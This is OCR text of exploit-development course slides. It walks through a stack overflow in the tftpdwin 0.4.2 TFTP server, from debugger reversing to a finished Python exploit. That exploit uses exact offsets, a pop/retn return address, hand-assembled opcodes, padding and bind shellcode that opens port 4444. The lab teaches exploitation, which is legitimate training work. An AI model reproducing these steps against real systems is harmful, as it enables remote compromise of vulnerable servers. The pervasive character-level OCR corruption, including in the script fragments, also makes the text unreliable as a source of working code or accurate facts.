- You could reverse the code at any potentially 

vulnerable function calls 
- You will likely want to run the executable inside 

a debugger 

Start Searching for 
a Vulnerability 
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STOP 
The following slidcs walk through the dctailcd solution to discovcring and cxploiting thc tftpdwin 
0.4.2 scrver. Procccd only aftcr trying on your own. 

The following slides walk through the detailed 
solution to discovering and exploiting the 

tftpdwin 0.4.2 server. Proceed only after trying 
on your own. 

STOP 
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Solution: tftpdwin 0.4.2 
Thc vulnerability in tflpdwin 0.4.2 will be discovercd by rcversing thc main cxccutablc program. 
Fuzzing and static tcsting would also discovcr thc vulnerability; howcvcr, alrcady knowing that 
thcrc is a vulncrability in thc program allows us to bc morc cfficicnt by collccting information in 
this manncr. Wc will first start by loading tftpd.cxc into OllyDbg or lmmunity Debugger. Oncc 
you gct thc program running succcssfully in thc dcbuggcr, procced to the ncxt slidc. 

• This solution will be presented by reversing 
the TFTP server 

• Load tftpdwin 0.4.2 inside the debugger 

Solution: 
tftpdwin 0.4.2 
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Grabbing the Code Segment 
At this point wc arc going to copy thc codc scgment so that we can paste it into a tcxt cditor and 
search for vulnerable f unction calls. As statcd on thc slidc, go to the Executable Modules screen 
by prcssing Alt-E, Once thc Executable Modules sereen appcars, seleet "C:\Program 
Files\TftpdWin\tftpd.cxe" from thc list and doublc-click. This will ensurc that thc main program is 
loaded into thc main debuggcr disasscmbly screen. Once loaded, right-click anywhere in the 
disassembly pane, highlight "Copy" and thcn select "Selcct all." This will highlight thc entire 
code scgment and allow you to press Control-C to copy it ro your clipboard. 

• Go to the Executable Modules screen by pressing Alt-E 
• Select C:\Program Files\TftpdWin\tftpd.exe and double-dick 
• Right-click, highlight Copy, and Select all 

Grabbing the Code Segment 
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Pasting to Notepad 
Once you havc selcctcd thc cntirc codc scgrnent from thc main tftpd modulc, press Control-C to 
copy the contcnts and pastc it into notcpad.cxe, or anothcr word cditor. 

• Press Control-C and paste to notepad.exe 

Pasting to Notepad 
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Finding a Vulnerable Function 

Thcrc arc likcly many instanccs of potcntially vulnerable function calls; howcvcr, thc targct is a 
TFTP scrvcr with a limited number of vulnerable locations in which therc may be an issue. Those 
bcing thc filc namc and mode fields. Thc function strcpy() is a known troublemaker and is often 
an issue with filc transfcr programs such as FTP and TFTP. Inside of notepad.exe, press Control-F 
to bring up the "Find" box and search for "strcpy" without quotes. Note that on the slidc, an 
instancc of strcpy() is quickly found. There are actually many insianccs where strcpy() is called by 
the main cxccutable. 
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• Press Control-F and search for "strcpy" 

Finding a Vulnerable Function 



244 

Accessing the Function Call 
Grab thc addrcss from onc of thc calls to strcpy(). Go back to thc dcbuggcr and press Control-G 
when in the main cxccutablc's disasscmbly panc. This will bring up thc scarch box on thc slidc. 
Entcr in an address from which strcpy() was callcd. Click "OK" and you should bc takcn to thc 
rcqucstcd addrcss. At this point, press "Euter." Note that addressing may not bc thc samc on your 
systcm, as it is on thc slidc, although sincc wc're analyzing, thc main cxccutablc thc addresses 
will likely match. 

When hlghlightcd, press 
"Enter," 

• Go back to the debugger and press Control- 
G in the disassembly pane 

• Enter a strcpy() address 

Accessing the Function Call 
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Breaking on the IA T 
On thc prcvious slide, wc have locatcd a call to strcpy() from thc main cxccutablc and prcsscd 
"Entcr." You should now sec somcthing similar to thc imagc on this slidc. This is thc Import Addrcss 
Table (IA T) of thc program. As you can sce, at this address is the instruction JMP DWORD PTR 
DS:[<&msvcrt.strcpy>]. Wc arc not intcrcstcd in the symbol resolution proccss on Windows at this 
time, as it was alrcady covcrcd. Oncc at this location within thc IA T, press F2 to sct a brcakpoint. lt 
should high light it with red as usual. Brcaking hcrc will makc it so no matter how many timcs strcpy() 
is callcd from thc prograrn, wc will always break. This is much casicr than locating all of thc calls to 
strcpy() in thc main cxccutablc and setting brcakpoints on each onc. 

• We're inside the Import Address Table (IAT) 
• Press F2 to set a breakpoint 

Breaking on the IAT 
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po<t • 69 

A Simple Test 
On this slidc wc are simply crcating a vcry simple script ro communicate with thc TFTP scrvcr 
and to validate that our brcakpoint in thc IA T cntry for strcpy() is working propcrly. As you can 
sec, thc dcbuggcr paused cxccution whcn rcaching thc brcakpoint in thc IA T. lt is probable that 
our filcnamc of "tcst" is being copied at this point, using strcpy(). This will bc validatcd on the 
next slidc. 

30Cket 

• Run a script to check your breakpoint 

A Simple Test 
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Validating Assumptions 
Wc'vc assumed that this brcak on strcpy() is whcn our filc namc is bcing copicd into mcmory. 
Whcn at thc breakpoint, press Alt-K to pull up thc Call Stack window. As you can sec, wc arc 
ablc to sec thc address from which strcpy() was callcd, as weil as our filc namc of "tcst" that wc 
listcd in our script. Wc'vc now confirmcd our assumptions and know that this is the call that 
copies our supplicd data for thc filc name ficld. Click on this location in the Stack Pane of thc 
main CPU thrcad. A scrccnshot of this location can bc sccn on thc bouorn imagc. Oncc 
highlightcd, press "Enter." You arc actually prcssing "Enter" on the rcturn pointcr storcd on thc 
stack of thc callcd function, which will takc us to thc relative location from which thc function 
was called. Plcasc procccd to the next slidc. 

Calllng addrcss again • 
.......... __.... ............ ~-"-------- listed on the stack pane! 

• Press Alt-K to view the call stack 

Validating Assumptions 
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Reversing thc Calling Function 
At mcmory addrcss Ox004063a4 in thc disasscmbly panc, you can sec thc call to strcpy(), which 
matches what wc saw in thc Call Stack window. A couplc lincs abovc that at Ox0040639b is the 
instruction : LEA EAX, DWORD PTR SS:[EBP- 1 18]. This teils us the size of the buffcr as it is 
rcfcrcnccd by EBP. Thc hcxadccimal valuc Ox 1 18 is 280 bytes in decimal. Wc ccrtainly would 
nccd to confirm this, but it is probably accuratc. 

\.h.l'll• ,1 I'. 'lt,,:' lll l . •.1 .. 1 :,·, •'I \\ "'111' l'''' 1 l,h 1ll11 f_ .. ,' 

• You can see the function call to strcpy() at 
Ox004063a4 

• At address Ox0040639b is the instruction · 
LEA EAx, DWORDPTR SS:[EBP-118} 

• Ox118 = 280 bytes, the buffer size 

Reversing the Calling Function 
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• 8-bytes short 

Execute the script onec thc program is rcloaded into thc debugger, still holding our breakpoint on 
thc IAT cntry for strcpy(). You may singlc-stcp using F7 oncc you hit thc breakpoint, ifyou 
would likc to sec evcrything that is happcning: Thal is what this author did to undcrstand thc 
program 's cxccution. You may also optionally press F9 again onec to sec that strepy() is hit again 
aftcr thc first copying of our data. lt looks as if the second call handlcs thc TFTP modc type. On 
the middlc image is thc addrcss of a brcakpoint that was sei at the exaet point in which control is 
passed to the retum pointer storcd below our A 's. To get to this location, you may rcpeatcdly 
press Control-F9 until you hit the location. Control-F9 is thc "Exccutc Till Return" eommand in 
lmmunity Debugger and OllyDbg. Be carcful not to go too far. As wc can sec on thc bottom 
imagc, cight morc A 's will allow us to ovcrwritc thc return pointer. lt is not a requirement for you 
to complete the stcps on this pagc, but it docs dcmonstratc how the exact points of a vulnerable 
condition are locatcd. 

r „ J • 1 · ,. nt "~ n 1: ' 

Filling up the Buffer 

Going back to our python script and scnding in 280 A 's should allow us ro fill the buffer up 
eompletcly if our calculations arc corrcct. The top image shows the script with thc updatcd 
changc. 

......... y_ • + .. ijot• • • x ·· + · •zeo + ·• 
s.eendto(C.t•, host, port)l 

• - DOClcet.80~~ t(socket.Ar_INET, socket.SOCK_DCRAK) 
Port • Cl9 
bo•t • 1 '1.0 

aoc:Jcet • 280 A's 

Filling up the Buffer 
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\,1 .. 111, ,·,; I', .,, :· ,,,, .n 1 (' :1 ~- 1 I''' t'I \\ ., 111.·. l'I\; 1 lq,. 1 11 ,, L1·1" 

• Execute ... 
• EIP is at Ox41414141 

Overflowing the Buffer 
Now that wc havc confirmcd that eight morc A 's should ovcrwritc thc rcturn pointcr, lct's sec if 
thcrc is, in fact, a lack of bounds chccking. Update your script to 288 A 's and cxccutc. Procccding 
through thc brcakpoints should rcsult in the EIP jumping to Ox414 l 4141, causing an acccss 
violation. We havc now confirmcd that wc can control EIP through a stack ovcrflow. 

ldata • "\x00\x01" + "A" •2ee + "\x00" + "nee ~c11" + "\xOO"I 

• Update the script to 288 A's 

Overflowing the Buffer 
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Where We're At ... 
You may think at this point that you havc cnough information to movc forward on your own. By 
all mcans, if you'rc fccling likc you havc a handle on thc cxploit at this point, givc it a shot. Thc 
only way to leam is by failing and this cxploit will throw somc curvc balls at you. Wc know at 
this point that we can control EIP at 288 A 's. Thc ESP rcgistcr is not pointing to our A 's, although 
in thc past wc havc ovcrwrittcn past thc buffer and found a "jmp esp" trampoline instruction. 
Would that work in this casc? Moving forward will focus only on the correct way to exploit this 
vulncrability. 

• We've located the buffer overftow condition 
with 288 A's 

• We can control EIP 
• ESP is not pointing to our A's "jmp esp" 
• Can you find anything interesting? 
• lf you think you've got it figured out, by all 

means go for it! 

Where We're At ... 
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At this point it is worth trying to find an instruction that pops one valuc off the stack into a 
rcgistcr, followcd by a retum. lf wc can find this scquencc of instructions we can retum control to 
thc start of our A 's, rcplacing that with our shcllcodc. Lct's work on this idca. 

\d\.mn·d Pnw11a111 lll ·1l"~1111g,1 :-.pl1111 \\ r11111g •. md 1 :1l11c1l 1 Im km.'.! 

What Next? 
During thc crash, whcn EIP is dircctcd to Ox4 l 41414 I, ESP-t 4 holds a pointer to an addrcss on thc 
hcap. This hcap address also sccms to hold our A's. How do wc know that this is thc heap? 
Simply right click on the address on the stack at ESP-t 4 and sclcct "Fellow in Durnp." You can 
also look at thc mcmory map of this address. You can sec on thc bottom imagc that at thc bottom 
of our A 's is "netascii", which wc also sent in as our modc type. Following that is the rcpcat 
pattem of OxBADDFOOD in littlc cndian formal. "which is used by Microsoft's 
LocalAlloc(LMEM_FIXED) to indicatc uninitializcd allocatcd hcap mcmory when thc dcbug 
hcap is uscd." This was taken from Wikipedia at thc following link: 
http://en.wikipedia.org/wik i/Hcxspcak 

Heap ~ 

41414141 
ri!/~~~.~00428800 t f tpQ. 00428800 

• This is the heap 31~!~ ASCII .. 

• Our A's have also ended up there 
• How about a "POP <reg>" followed by a 
RETN? 

• At the crash, ESP+4 holds a pointer to 
Ox012ef3cc ... 

What Next? 
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There should bc at least one match that comcs up for you. Scvcral rcgistcrs should bc finc to usc 
for the "pop" instruction; howcvcr do not use "EBX." 1 f you haven 't alrcady discovcrcd on your 
own, thc address in "EBX" will bc nccdcd by our shcllcodc in a bit. 

pop cbp 
rctn 

pop cbp 
rctn 

Testing Our Theory 
Wc rnust now test our thcory and dctcrminc if wc can, in fact, cause cxecution to jump to thc hcap 
location holding our A 's. Within thc dcbuggcr, rcstart thc program and go to the main 
cxccutablc's disasscmbly pane. Press Control-S to bring up thc "Find scqucncc of comrnands" 
box. Enter in thc instructions: 

Ctrl-S 

~~ ...... ~ 
Find sequcnce ol conwmnds ~ 

• We must first find our desired sequence of 
POP <reg> and RETN - Ox004061fb 

Testing Our Theory 
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283 A's er• \ popebp 

u ·· .. • x o·· 
• eocklst.DOC:Jr;..t(•v~lc t.Ar IN[T, socke~.SOCK DGRAK) 

:S..ta • "\xOO\xo1• + "J •2ei + popebp +·· y .. - + ··, • 
.scndt.o(data, (boat, P••rft 1 

pope p. StCUCt.paclc( _ , oxi06Hb41l .,__ pop ebp / ret 
port 69 

+--: import struct 
socket 
stcuct 

Updating Our Script 
On this slidc we are updating our script tosend to thc TFTP scrvcr. First, wc are importing thc 
"struct" modulc so wc can usc thc "pack" mcthod. This switchcs our addrcsscs to little endian 
formal. We thcn cnter in our addrcss to rcturn to, including an extra bytc, in this casc "41." 
Remember that our dcsired return addrcss rcquircs a null byte in thc beginning. To compensatc for 
this, wc place in a random bytc value at thc end of the address in the struct.pack Statement in order 
to allow for strcpy() to null terminale with 00 at our cxact location. Finally, we adjust our math 
accordingly, changing numbcr of A 's to 283 + popcbp. 

• We need to import struct 
• Add in our new return address 
• Compensate for return pointer and null 

Updating Our Script 
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Trying Our Script 
Don 't lct this slide confusc you. There arc fivc scrccnshots from top to bonom on this slidc. Thc 
first scrccnshot is simply a brcakpoint that wc sct carlicr, just bcfore control is givcn to our 
sclectcd addrcss during the 288 bytc buffer overflow. Thc addrcss wc used is holding "pop ebp" 
followcd by a "rctn" as previously discusscd. The second imagc is a scrccnshot of thc stack just 
bcforc we exccutc thc RETN from thc top imagc. Noticc that our null bytc has succcssfully gottcn 
into thc rctum pointcr, as wc dcsired. ßy prcssing F7 oncc, control will jump to thc top addrcss on 
the third imagc. This is our "pop cbp and rctn" instructions. Single stcpping with F7 brings us to 
the RETN instruction. The fourth imagc down shows us thc stack during thc RETN instruction. 
Noticc that wc will now move control to thc addrcss OxO 1Ob1 f62, which is thc hcap location 
storing our A 's. Prcssing F7 again brings us to thc last scrccnshot. As you can sec, thc hcap is now 
showing up in thc main disasscmbly panc as if it wcrc a valid codc scgmcnl. Wc havc now provcn 
that wc can direct control to our supplicd data. 

r,==:::i Returning from the stuck to 

c=.=~ Returning from the stack to 

~~~~~~~~ .. ~!® .vJ 
Press F7 to 
singte-step __ _, 

Trying Our Script 
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\l!'. !'!~1• \l,·1 1~ . •·l ! !l.~ 1 )'1"' \\•1 m.: 1'1\ 1 :1~ JIH1.l'l' 

• +··· ~\>'6'x ·"'xT. xSt>\.<l1\ • -.. •· #19(, bytes, BUii> :ohell to '141'1 
tlDQ S... Shellcode by l>atydd Stul~ard 

.... 

Just Add Shellcode, Right? 
Wc only havc 284 bytcs bcforc thc rcturn pointcr. This limits our Options with Windows 
shcllcodc, as it is usually prctty largc. On this slidc and provided for you on your tools CD is 196 
bytc shellcode by Dafydd Stuttard that opens a listencr on TCP port 4444. In thcory, wc should 
simply have to subtract 196 from our 283 A 's, insert our shcllcodc, and take control. Movc onto 
thc next slidc. 

• We only have 284 bytes of space 
• 196 byte shellcode is on your tools CD 

Just Add Shellcode, Right? 
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A " '- >:-t 1' 

•, : ::, .·t:.~3 196 SC= 87 A's 
+• ~ .. ~t ( >rf V t 

tlng f'.llall ~h~ll<"O~ by & ydd St.uct_..rd 

• • itOCt:et.aoeat leocltet.U in t.SOC:J: KP..Ull 
CS&t.e • t :tc + f 1.- •n • Po~P • - • + •u • • .. " .. 
1.Hndto(data, CllOat, ponll 

.. ..... 
•.. 
.. 

• Ox406ttb4t) 

..... 
pOr~ • ' 
pop!tbJ' • ruct . p-.ck ( 

Modifying Our Script 
On this slidc is thc rnodificd script, which includes our shcllcode and our updated math. Our 
shcllcode is 196 bytcs. Wc nccd to subtract 196 from our prcvious data sizc of 283 A 's. This 
rcsults in an updatcd script scnding in our 196 bytc shcllcodc, followed by 87 A's to takc us to thc 
rctum pointcr. 

.. 

Modifying Our Script 
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A few lines bcforc the crash is thc instruction XCHG EAX, ES!. which is rnoving thc null valuc 
hcld in EAX to ESI. This is causing thc crash 10 occur on thc LODS instruction. Wc also sec that 
immcdiatcly aftcr thc XCHG instruction, ESl-18 is rcfcrcnccd and loaded into EDI, rcsulting in a 
negative valuc. We'vc got a fcw problcms hcrc. 

Our Script Falls ... 
Wc succcssfully jumpcd to our shellcode, but hit an acccss violation within a fcw lincs. Take a 
look at thc instruction to which EIP is pointing, LODS BYTE PTR DS:[ESI]. ESI is pointing to 
OxOOOOOOOO as you can sec in thc Registers Panc. This is not our sbellcodc and thcrcforc, wc must 
dcal with its idiosyncrasies in ordcr to havc succcss. Thc LODS instruction will movc thc bytc 
valuc hcld at the pointcr supplied into AL, so it cannot bc null. 

• LODS BYTE PTR DS.·[ESI] 

Our Script Fails ... 
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What Now? 

Whcn wc take thc RETN that gcts us to thc start of our shellcode, EBX happcns to bc pointing to 
our shcl lcode - 194 bytcs. OxO 1Ob1 f62 - OxO 1Ob1 caO = 194 bytes in dccimal. Let's try first 
moving EBX into EAX bcforc thc shcllcode to givc it a valid address during the instructions 
discussed on thc prior slide. We could also try any readable addrcss, but as you will sec, this 
addrcss will hclp us out. 

• When we take the return to our sc, EBX 
points to our sc-194 bytes 

What Now? 
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Our Assembly Code 
Wc know that wc want to movc the contcnts of EBX into EAX so that wc can satisfy somc 
rcquircments in our shcllcodc, but wc don 't know the opcodcs. Wc could cithcr look thc opcodes 
up online or we can simply asscmblc thcm in thc dcbuggcr. Go to any arca within lmmunity 
Debuggcr's disassembly panc and doublc-click on an instruction. Abovc, thc A 's from our script 
wcrc sclcctcd and double-clicked. Inside the pop-up box, type "rnov eax, ebx" without thc quotcs 
of coursc, and click assemblc. As you can sec, the opcodes "8BC3" appcar. This is our 
hcxadecimal code to usc in our script in front of thc shcllcodc. 

mov eax, ebx 
8BC3 

• We must find the opcodes for, "mov eax, 
ebx" 

• Go anywhere in the disassembly pane and 
double-dick on an instruction 

Our Assembly Code 



261 

+ 
"• sockct.sockct(sockct.AF INtT, socket.SOCK DGRA"l 
data • + astn + loc + .. .. •es ... popcbp .... ' 
s.scndto(data, (host, port)) ~ 

L pdated with asm & 85 A 's 

flllGS llrtt.11\Q Slnflll Shcllcodc by Datyd..t Stunard 

vs x~i\x• ·· 
#1 byte:, EI~ ahcll to '1444 SC +••• c. 

.... 
"c • 

Updating Our Script 
This slidc shows our updatcd script which includcs our ncw opcodcs of "\x8b\xc3" and changcs to 
our input. Wc nccd to add in our new variable "asm" and compcnsatc for thc two additional bytcs 
by dccrcasing thc numbcr of A 's sent to 85. 

· +-- Our Assembly Code aJIJft • 

, Ox1061tb'll) 
h0.9t. • 

port • 69 
popcbp ~ st.ruct..pack{ 

• r socket 
st.ruct. 

Updating Our Script 
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Trying Our Script 
Whcn running our script, wc successfully hit our new opcodcs and continuc through to our 
shcllcodc; howcvcr, wc run into a ncw acccss violation whcn cxccuting at the addrcss Ox5F327377. 
This does not seem like a valid address and we need 10 detennine where the problem is occurring. 

• What now? 

IAccen ~ whM ~ [5F3273nJ ~ Shrft•F7 IF8/F9 to pa excepoon to proqram 1 

• But we still crash, now with a new access 
violation executing Ox5F327377 

• We hit our assembly! 

Trying Our Script 
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• Watching the registers pane we can see that 
we are searching through kernel32.dll for a 
function 

I
LOOS BVTE PTR OScCESll 
>COA ~. 71 SUBDL.~ 
~ ~ C1031Ftl6 
Ctf Dl..BVIEJ>JR SS1I~+ j 

, J'l.: SHORT 0t031FAF 

Single-Stepping 
As statcd on the slidc, wc satisfy thc LODS instruction, whcrc wc were having troublc prcviously. 
Wc thcn run into a loop which is not satisficd until AL is cqual to 71, which mcans that thc 
function namc string has ended. We are obviously scarching through kcrncl32.dll for a particular 
function. This is apparcnt by holding down F7 to single-step for a bit and watching the Registers 
Panc. With most Windows shcllcodc, thc function "Loadl.ibraryA" is the first function sought 
aftcr. Wc nccd to dctcrminc how 10 satisfy thc rcquircmcnt dctailed on thc ncxt slidc. 

• When single-stepping with F7 we pass the 
LODS instruction and get to this block: 

Single-Stepping 



264 

Analyzing the Shellcode 
lt is obvious that wc havc made it to thc point whcrc wc arc pcrforming a lookup in 
kemel32.DLLs Export Addrcss Table (EA T). Analysis of the aforementioncd loop shows a 
hashing opcration is occurring, going through each function in thc EA T, until "CMP DL,BYTE 
PTR SS:[ESP+ 1 C]" is satisfied. Wc nccd to undcrstand what seed value is needcd to cnsurc that 
LoadLibraryA is resolved. Rcviewing thc sourcc of this shcllcodc at 
http://www.ngssoftware.com/papers/WritingSmallShcllcodc.pdf is a highly dctailed paper by 
Dafydd Studdard. This impressive papcr states that thc shcllcode has assumptions which must bc 
mct. EAX must point to thc start of thc shcllcode. At this address is the instruction "POP ECX" 
which is opcode Ox59. lt is this valuc, Ox59, that is pushcd onto thc stack during a PUSHAD 
instruction, and is what is compared during thc "CMP DL,BYTE PTR SS:[ESP+ 1 C]" instruction. 
lt is LoadLibraryA that rcsults in DL holding Ox59. To makc this work, wc must add some morc 
assernbly beforc cxccuting our shcllcodc and calculatc thc math accordingly. 

• We need EAX to hold this address 
• We must create more assembly to increase 

EAX, PUSH, and RETN 

• Top of shellcode 

Analyzing the Shellcode 
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We cannot usc thc instruction "ADD AL,<#>" as it placcs in a zcro and brcaks our math. Thcrcforc, wc 
must use "ADD AX." 

8BC3 - MOV EAX. EBX 
6605 4141 - ADD AX, 4141 
50 - PUSH EAX 
CJ - RETN 

Wc can simply go into any linc within thc disasscmbly pane of the debugger and double-click cxisting 
instructions to makc our changes and asscmblc our dcsircd instructions. Wc did this prcviously to gct 
thc opcodes for "MOV EAX, EBX." Thc value of Ox4 l 4 I was uscd as a placeholder in the "ADD AX, 
<#>" instruction. Wc must dctcrminc what value will get us to thc start of our shcllcode. Once 
asscmblcd, you should get somcthing vcry similar to what is on thc slide. 

MOV EAX, EBX ~ We already have this one. 
ADD AX, <#> r Thls adds however many bytes we desire to EAX. We want it to point to the starr of 
oursc. 
PUSH EAX r This pushes the address held in EAX onto the stock. 
RETN r This returns to the address held in EAX, which needs tobe the start of our shellcode. 

Additional Assembly 
Wc nccd the corrcct opcodcs to: 

-RETN 
• Assemble in the debugger by double clicking 

the instructions 

lttC ECX 
IttC ECX 
IttC ECX 
t10U EAX. EBX AOO AX,4141 
PUSH EAX RETN 

41 
41 
41 
41 eacs 66:05 4141 
69 ca 

4141 is a placcholdcr • We need assem bly to: 
- MOV EAX, EBX 
-ADD AX, <#> 
- PUSH EAX 

Additional Assembly 
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.a"' ... "t X "° t" 11:.lf. .;_w. • .,,.fi .- 4 )( 'f IC A 

„ r"' e r „r.; .,. ., 1 
voci:>o s-.u s11„11eod" bv oatydd 1 Lpdated A's 

·qt' ~ r J.r_;;;•-. . .. , • ..4't1<"~.t.111 
x 1• + - + ac + •.a.• • ..,.. ~,.... ;·, • • • + •ce .. . • ·· 

a.eeDdto(data, (boat, portll 

•• 
•1 •13 41 , .~ 

X? X) X ~ b ·~b 
•• x5 X • Y 

•" >.. "f X 

#llCNt tJ.X, rsx 
#Al>!> .t.X, 4HI 
8PUSH !.\X 
#Ptn1 

_ ... - . 

Our Asscmbly 

/ 
Ox4061tb11) 

boa 
llM)I: 69 
PoP p • struct.pack( 

Updating Our Script 
Wc must now update and cxccutc our script so wc can dctcrminc thc proper valuc to placc into 
AX. We've placcd our new opcodes into thc "asrn" variable and addcd appropriatc commcnts. 
Thc Ox4141 is currcntly a placeholdcr as previously mcntioncd. Wc rnust also subtract six A's 
from our input to compcnsatc for thc six additional bytcs of assembly. Note that the shellcodc has 
bccn truncatcd again to savc spacc. 

soe et 
struet 

Updating Our Script 
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2) EAX+Ox 101 - Ox01030FA 1. OxlOI is thc smallcst hex valuc wc can add to AX without 
having any nulls. Wc nccd to movc our shellcodc to this memory addrcss. 

3) Wc now nccd to calculatc how far wc nccd to movc our shcllcodc down to makc certain that it 
starts at addrcss OxO 1031FA1. Wc simply perform OxO 1031FA1 minus OxO 1031 F6A which 
equals 55 in dccimal. This is thc sizc of the pad wc need to placc between our asscmbly 
instructions and thc start ofthc shcllcodc. Lci's writc what will hopcfully bc our final script! 

\d\.111u·.i l1,11111.ii1<•111,,111.,. I .,,:,, 1 \\ri·111.·. 111<1 I l.11.il ll.111..1•1" 

1) EAX currcntly points to OxO 1031 EAO. This was copicd from EBX in thc first asscmbly 
instruction. 

IW EAX EWi ~~l41~-----~ 

flETn POP EQC OR O:X,28306203 litt ECX 
tliC EBX OEC EEP 
PflE.F t x FS t 
COQ 

Running Our Script 
Don't let this part trick you. Therc is no magic happcning in this cxploit, only simple 
mathcmatical adjustrncnts. In this scrccnshot, we havc run thc script form the previous slidc. You 
can analyze the state of the program at this point which allows us to do somc calculations. 

• EAX points to Ox01031EAO 
• EAX+Ox101 = Ox01031FA1 

- OxlOl is the smallest value we can put into AX to avoid 
nulls 

• Shellcode is at Ox01031F6A 
- Ox01031FA1 - Ox01031F6A = 55 bytes of padding 

Running Our Script 
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1 • ...StO(Oat.a. 
• -f • K "' 

Adjustments . Ut;y' 
.. p. p ... 

PlD • •1.• 'SS 

.... 
.... ...... •tt~·V[ r>.x, E8X 

~m· .x. o.101 ~ Ox 101 
tFU!H UX 
orru 

,.. .. - .... 

~· 
..... 69 
;>op • "«"<". P6Ck ( , Oxi06UbHI 

Final Script Update 

This will bc our final script update to succcssfully run our exploit against tftpdwin 0.4.2. First, we 
must change thc valuc we 're adding to AX from Ox4 l 4 I to Ox 101. This will cnsure that EAX is 
pointing to thc start of our shcllcode. We must thcn add a 55 bytc pad betwccn our asscmbly codc 
and our shcllcode 10 cnsurc that thc shellcode is at thc cxacl addrcss 10 which EAX is pointing. 
Finally, wc nccd to add in thc "pad" variable to our inpul and subtract 55 bytcs from thc 79 A 's 
we wcrc prcviously sending in to fill thc buffcr. 

90Ckf!t 
StC\lCt 

Final Script Update 
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: find "1444" 
0.0.0.0:0 

C:,Python2S>• ~tstat -na TCP 8.181 4444 

This was ccrtainly a much morc challcnging exploit than thc carlicr TFTP cxcrcisc. Thc main 
purpose is to continuc thc focus on thinking outside ofthc box. You will dcal with many different 
cxploit sccnarios that rcquirc this type of thinking. Oftcn, things cannot bc cxplaincd vcry casily. 
You will run into situations whcrc you can spend hours or days dcbugging thc reasoning bchind a 
singlc anomaly, only to run into anothcr one. Oftcn, thcrc arc simply idiosyncrasics in thc 
programmcr's style, combincd with compilcr bchavior. lt may somctimcs scrvc bcttcr to simply 
acccpt strangc bchavior as opposcd to scarching for the reasoning. 

LlSTEHIMC 1 

~-~~'M (oc.~1 ....._--. Start of our shcllcodc 
llt(; ttx . ~ 
lt~ f~ aligned perfectly 
~l)C ,., ·---- 
ICtlll EAX. U 1 
LU cr.t "'' P"' os1 rr :!.!1 :g.a&:t>--~ ~~ ~:u :n1 

Final Run 

At this point, it is time to cxccute our final script. In thc top imagc, wc sec that control is passcd to 
our asscmbly codc, indicating that wc calculatcd our input propcrly. Prcssing F7 to singlc stcp 
adds Ox 101 to AX, pushcd EAX onto the stack, and rcturns to that address. Wc thcn havc 55 bytcs 
of padding. Prcssing F7 on thc rcturn takcs us to thc start of thc sccond image. This is the start of 
the shcllcodc, notcd by thc POP ECX instruction. Pressing F9 to continuc and passing any 
cxccptions shows thc program as running insidc of the dcbuggcr. Chccking for listcning port 4444 
in a command shcll indicatcs that wc have succcssf ully cxploited this proccss. 

Final Run 
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Bootcamp End 
This concludcs thc bootcamp. 

Bootcamp End 
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